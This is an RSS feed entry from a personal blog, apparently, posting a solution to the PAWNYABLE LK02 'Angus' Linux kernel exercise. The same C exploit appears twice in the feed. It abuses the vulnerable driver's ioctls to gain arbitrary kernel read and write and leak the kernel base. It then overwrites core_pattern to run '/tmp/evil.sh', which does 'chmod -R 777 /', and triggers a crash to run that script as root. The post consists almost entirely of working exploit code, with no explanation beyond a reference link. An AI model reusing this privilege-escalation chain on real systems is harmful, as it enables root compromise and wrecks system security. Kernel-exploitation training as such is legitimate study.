<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Angus on Uniguri&#39;s Blog</title>
    <link>/tags/angus/</link>
    <description>Recent content in Angus on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 09 Jan 2025 14:17:52 +0000</lastBuildDate><atom:link href="/tags/angus/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>PAWNYABLE LK02: Angus</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk02/</link>
      <pubDate>Thu, 09 Jan 2025 14:17:52 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk02/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk02-angus&#34;&gt;LK02 (Angus)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;167243895&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;167243895&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/param.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;angus&amp;#34;
#define VULN_DEVICE_MAX_LEN 0x1000
#define VULN_CMD_INIT 0x13370001
#define VULN_CMD_SETKEY 0x13370002
#define VULN_CMD_SETDATA 0x13370003
#define VULN_CMD_GETDATA 0x13370004
#define VULN_CMD_ENCRYPT 0x13370005
#define VULN_CMD_DECRYPT 0x13370006

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000

#define CORE_PATTERN_OFFSET (0xeb1820)

static void fatal(const char *msg) {
  perror(msg);
  exit(-1);
}

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

int vuln_dev_fd = -1;
static uint64_t vuln_dev_init() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_INIT, &amp;amp;req);
}
static uint64_t vuln_dev_setkey(void *key, size_t key_len) {
  request_t req = {.ptr = key, .len = key_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETKEY, &amp;amp;req);
}
static uint64_t vuln_dev_setdata(void *data, size_t data_len) {
  request_t req = {.ptr = data, .len = data_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_getdata(void *out, size_t out_len) {
  request_t req = {.ptr = out, .len = out_len};
  return ioctl(vuln_dev_fd, VULN_CMD_GETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_xor() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_ENCRYPT, &amp;amp;req);
}

static void *fake_xor_cipher_mem = (void *)-1;
const size_t fake_xor_cipher_mem_size = 0x2000;
static XorCipher *fake_xor_cipher = (void *)-1;
static XorCipher *make_fake_xor_cipher() {
  fake_xor_cipher_mem =
      mmap(0, fake_xor_cipher_mem_size, PROT_READ | PROT_WRITE,
           MAP_FIXED | MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_xor_cipher_mem &amp;lt; 0) {
    fatal(&amp;#34;mmap&amp;#34;);
  }

  fake_xor_cipher = (XorCipher *)fake_xor_cipher_mem;
  return fake_xor_cipher;
}
static void AAR(void *out, uint64_t addr, size_t len) {
  fake_xor_cipher-&amp;gt;data = (void *)addr;
  fake_xor_cipher-&amp;gt;datalen = len;
  vuln_dev_getdata(out, len);
}
static uint64_t AAR64(uint64_t addr) {
  uint64_t ret = 0;
  AAR(&amp;amp;ret, addr, 8);
  return ret;
}
static void AAW(const void *data, uint64_t addr, size_t len) {
  uint8_t *val = (uint8_t *)(fake_xor_cipher_mem + VULN_DEVICE_MAX_LEN);
  const uint8_t *src = (const void *)data;
  fake_xor_cipher-&amp;gt;key = val;
  while (len != 0) {
    const size_t step_len = MIN(VULN_DEVICE_MAX_LEN, len);

    AAR(val, addr, step_len);
    for (int i = 0; i &amp;lt; step_len; ++i) {
      val[i] ^= *src++;
    }
    fake_xor_cipher-&amp;gt;data = (void *)addr;
    fake_xor_cipher-&amp;gt;datalen = step_len;
    fake_xor_cipher-&amp;gt;keylen = step_len;
    vuln_dev_xor();

    addr += step_len;
    len -= step_len;
  }
}
static void AAW64(uint64_t addr, uint64_t val) { AAW(&amp;amp;val, addr, 8); }
static uint64_t leak_kernel_base() {
  for (uint64_t addr = KERNEL_BASE_START; addr &amp;lt;= KERNEL_BASE_END;
       addr += 0x100000) {
    uint64_t val = AAR64(addr);
    if (val == 0x4800e03f51258d48) {
      return addr;
    }
  }
  return (uint64_t)-1;
}

int main() {
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_dev&amp;#34;);
  }
  make_fake_xor_cipher();

  uint64_t kernel_base = leak_kernel_base();
  if (kernel_base == (uint64_t)-1) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] core_pattern: %p\n&amp;#34;, (void *)(kernel_base + CORE_PATTERN_OFFSET));

  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  const char kCorePattern[] = &amp;#34;|/tmp/evil.sh&amp;#34;;
  const size_t kCorePatternLen = strlen(kCorePattern);
  AAW(kCorePattern, kernel_base + CORE_PATTERN_OFFSET, kCorePatternLen);
  system(&amp;#34;ulimit -c unlimited&amp;#34;);
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  munmap(fake_xor_cipher_mem, fake_xor_cipher_mem_size);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk02-angus&#34;&gt;LK02 (Angus)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;167243895&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;167243895&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/param.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;angus&amp;#34;
#define VULN_DEVICE_MAX_LEN 0x1000
#define VULN_CMD_INIT 0x13370001
#define VULN_CMD_SETKEY 0x13370002
#define VULN_CMD_SETDATA 0x13370003
#define VULN_CMD_GETDATA 0x13370004
#define VULN_CMD_ENCRYPT 0x13370005
#define VULN_CMD_DECRYPT 0x13370006

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000

#define CORE_PATTERN_OFFSET (0xeb1820)

static void fatal(const char *msg) {
  perror(msg);
  exit(-1);
}

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

int vuln_dev_fd = -1;
static uint64_t vuln_dev_init() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_INIT, &amp;amp;req);
}
static uint64_t vuln_dev_setkey(void *key, size_t key_len) {
  request_t req = {.ptr = key, .len = key_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETKEY, &amp;amp;req);
}
static uint64_t vuln_dev_setdata(void *data, size_t data_len) {
  request_t req = {.ptr = data, .len = data_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_getdata(void *out, size_t out_len) {
  request_t req = {.ptr = out, .len = out_len};
  return ioctl(vuln_dev_fd, VULN_CMD_GETDATA, &amp;amp;req);
}
static uint64_t vuln_dev_xor() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_ENCRYPT, &amp;amp;req);
}

static void *fake_xor_cipher_mem = (void *)-1;
const size_t fake_xor_cipher_mem_size = 0x2000;
static XorCipher *fake_xor_cipher = (void *)-1;
static XorCipher *make_fake_xor_cipher() {
  fake_xor_cipher_mem =
      mmap(0, fake_xor_cipher_mem_size, PROT_READ | PROT_WRITE,
           MAP_FIXED | MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_xor_cipher_mem &amp;lt; 0) {
    fatal(&amp;#34;mmap&amp;#34;);
  }

  fake_xor_cipher = (XorCipher *)fake_xor_cipher_mem;
  return fake_xor_cipher;
}
static void AAR(void *out, uint64_t addr, size_t len) {
  fake_xor_cipher-&amp;gt;data = (void *)addr;
  fake_xor_cipher-&amp;gt;datalen = len;
  vuln_dev_getdata(out, len);
}
static uint64_t AAR64(uint64_t addr) {
  uint64_t ret = 0;
  AAR(&amp;amp;ret, addr, 8);
  return ret;
}
static void AAW(const void *data, uint64_t addr, size_t len) {
  uint8_t *val = (uint8_t *)(fake_xor_cipher_mem + VULN_DEVICE_MAX_LEN);
  const uint8_t *src = (const void *)data;
  fake_xor_cipher-&amp;gt;key = val;
  while (len != 0) {
    const size_t step_len = MIN(VULN_DEVICE_MAX_LEN, len);

    AAR(val, addr, step_len);
    for (int i = 0; i &amp;lt; step_len; ++i) {
      val[i] ^= *src++;
    }
    fake_xor_cipher-&amp;gt;data = (void *)addr;
    fake_xor_cipher-&amp;gt;datalen = step_len;
    fake_xor_cipher-&amp;gt;keylen = step_len;
    vuln_dev_xor();

    addr += step_len;
    len -= step_len;
  }
}
static void AAW64(uint64_t addr, uint64_t val) { AAW(&amp;amp;val, addr, 8); }
static uint64_t leak_kernel_base() {
  for (uint64_t addr = KERNEL_BASE_START; addr &amp;lt;= KERNEL_BASE_END;
       addr += 0x100000) {
    uint64_t val = AAR64(addr);
    if (val == 0x4800e03f51258d48) {
      return addr;
    }
  }
  return (uint64_t)-1;
}

int main() {
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_dev&amp;#34;);
  }
  make_fake_xor_cipher();

  uint64_t kernel_base = leak_kernel_base();
  if (kernel_base == (uint64_t)-1) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] core_pattern: %p\n&amp;#34;, (void *)(kernel_base + CORE_PATTERN_OFFSET));

  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  const char kCorePattern[] = &amp;#34;|/tmp/evil.sh&amp;#34;;
  const size_t kCorePatternLen = strlen(kCorePattern);
  AAW(kCorePattern, kernel_base + CORE_PATTERN_OFFSET, kCorePatternLen);
  system(&amp;#34;ulimit -c unlimited&amp;#34;);
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  munmap(fake_xor_cipher_mem, fake_xor_cipher_mem_size);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK02/null_ptr_deref.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
